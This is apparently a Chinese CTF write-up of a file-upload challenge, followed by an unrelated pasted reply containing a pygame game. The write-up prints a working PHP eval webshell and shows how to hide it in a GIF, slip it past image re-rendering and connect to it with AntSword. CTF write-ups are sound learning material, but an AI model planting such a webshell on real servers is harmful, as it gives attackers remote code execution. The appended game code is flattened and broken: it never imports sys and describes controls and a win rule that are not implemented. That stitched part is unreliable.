时隔四天,终于把这道文件上传漏洞题做出来了。

这里附上各种一句话木马大全

先看题:
在这里插入图片描述
说明了文件保存路径./upload。点击展示发现有.htaccess文件,还有一个flag.php文件
在这里插入图片描述
在文本框中输入.htaccess,点击预览,出现下面这句话。但输入flag.php
,会弹框说不能直接操作flag文件。看下面这句话我们可以知道:在./upload目录下,文件名为098f6bcd4621d373cade4e832627b4f6.gif的文件可以php代码解析出来。所以可以想到要上传一个图片马,而且文件名为098f6bcd4621d373cade4e832627b4f6.gif
在这里插入图片描述
但看下图,若我们随便上传一个图片,文件名都会被改变。这里我上传了2.gif文件
在这里插入图片描述
所以要思考怎样才能让上传后的文件名能为098f6bcd4621d373cade4e832627b4f6.gif。于是我想到看看直接输入下面这个url会怎样

http://120.79.135.77:10002/range/upload/flag.php

结果出现了这一幕,既然它出现了就一定是有问题的(然而我一开始发现的时候却并没有在意它),然后随便点开看了一下,就知道了是用MD5加密使文件名改变的。
在这里插入图片描述
然后将098f6bcd4621d373cade4e832627b4f6解密得是test。也就是说我们只要将文件名为test.gif的文件上传,就能被保存为098f6bcd4621d373cade4e832627b4f6.gif
在这里插入图片描述
然后我们开始制作图片马。在shell.php文件中写入下面这个一句话木马,然后在命令行输入copy 2.gif /b + shell.php /a test.gif2.gif是一个普通图片,得到的test.gif就是我们要的图片马了

<? @eval($_REQUEST[x]);?>

然后将test.gif上传,下载后的图片用010 Editor打开却发现php代码不见了,这时就想到是二次渲染,那就将原图和下载的图片比较,然后在相同部分插入一句话木马。
【就是做这一步花了我好久时间,我知道是二次渲染,试了好多次插入一句话木马,但保存后的图片的马还是不见了,直到今天,在最前面的蓝色部分(相同部分)插入马,终于成功—多尝试,细节细节细节!!】
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在蚁剑中连接得到flag
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好的,下面是一个简单的类似天天酷跑的小游戏,你可以在Python中运行并进行体验。 ```python import pygame import random # 初始化pygame模块 pygame.init() # 游戏窗口的宽度和高度 WIDTH = 800 HEIGHT = 600 # 设置游戏窗口 screen = pygame.display.set_mode((WIDTH, HEIGHT)) pygame.display.set_caption("天天酷跑") # 玩家的图片 player_img = pygame.image.load("player.png").convert_alpha() # 障碍物的图片 obstacle_img = pygame.image.load("obstacle.png").convert_alpha() # 金币的图片 coin_img = pygame.image.load("coin.png").convert_alpha() # 玩家的初始位置和速度 player_x = 100 player_y = HEIGHT - player_img.get_height() - 50 player_speed = 5 # 障碍物列表和速度 obstacles = [] obstacle_speed = 10 # 金币列表 coins = [] # 计分板 score = 0 font = pygame.font.Font(None, 36) # 游戏循环 while True: # 处理事件 for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.quit() sys.exit() # 添加障碍物和金币 if len(obstacles) < 3: obstacle_x = WIDTH + random.randint(100, 500) obstacle_y = HEIGHT - obstacle_img.get_height() - 50 obstacles.append(pygame.Rect(obstacle_x, obstacle_y, obstacle_img.get_width(), obstacle_img.get_height())) coin_x = WIDTH + random.randint(100, 500) coin_y = random.randint(50, HEIGHT - coin_img.get_height() - 50) coins.append(pygame.Rect(coin_x, coin_y, coin_img.get_width(), coin_img.get_height())) # 移动障碍物和金币 for i in range(len(obstacles)): obstacles[i].x -= obstacle_speed coins[i].x -= obstacle_speed # 如果障碍物移出了屏幕,从列表中删除它 if obstacles[0].x < -obstacle_img.get_width(): obstacles.pop(0) coins.pop(0) # 检测碰撞 player_rect = pygame.Rect(player_x, player_y, player_img.get_width(), player_img.get_height()) for i in range(len(obstacles)): obstacle_rect = obstacles[i] if player_rect.colliderect(obstacle_rect): pygame.quit() sys.exit() coin_rect = coins[i] if player_rect.colliderect(coin_rect): coins.pop(i) score += 1 # 移动玩家 keys = pygame.key.get_pressed() if keys[pygame.K_UP]: player_y -= player_speed if player_y < 0: player_y = 0 elif keys[pygame.K_DOWN]: player_y += player_speed if player_y > HEIGHT - player_img.get_height(): player_y = HEIGHT - player_img.get_height() # 绘制游戏场景 screen.fill((255, 255, 255)) screen.blit(player_img, (player_x, player_y)) for i in range(len(obstacles)): screen.blit(obstacle_img, (obstacles[i].x, obstacles[i].y)) screen.blit(coin_img, (coins[i].x, coins[i].y)) score_text = font.render("得分:" + str(score), True, (0, 0, 0)) screen.blit(score_text, (10, 10)) pygame.display.update() ``` 要运行这个游戏,你需要准备三张图片(player.png、obstacle.png、coin.png),并将它们放在与python文件相同的目录下。你可以在互联网上找到这些图片。 你可以使用WASD或方向键来移动玩家。障碍物和金币会从右侧向左侧移动,并在移出屏幕后重新生成。如果玩家撞到了障碍物,游戏将会结束,你可以通过关闭游戏窗口来退出游戏。如果玩家吃到了金币,得分就会加1。当得分达到3分时,游戏将会获胜。 希望这个例子对你有所帮助!

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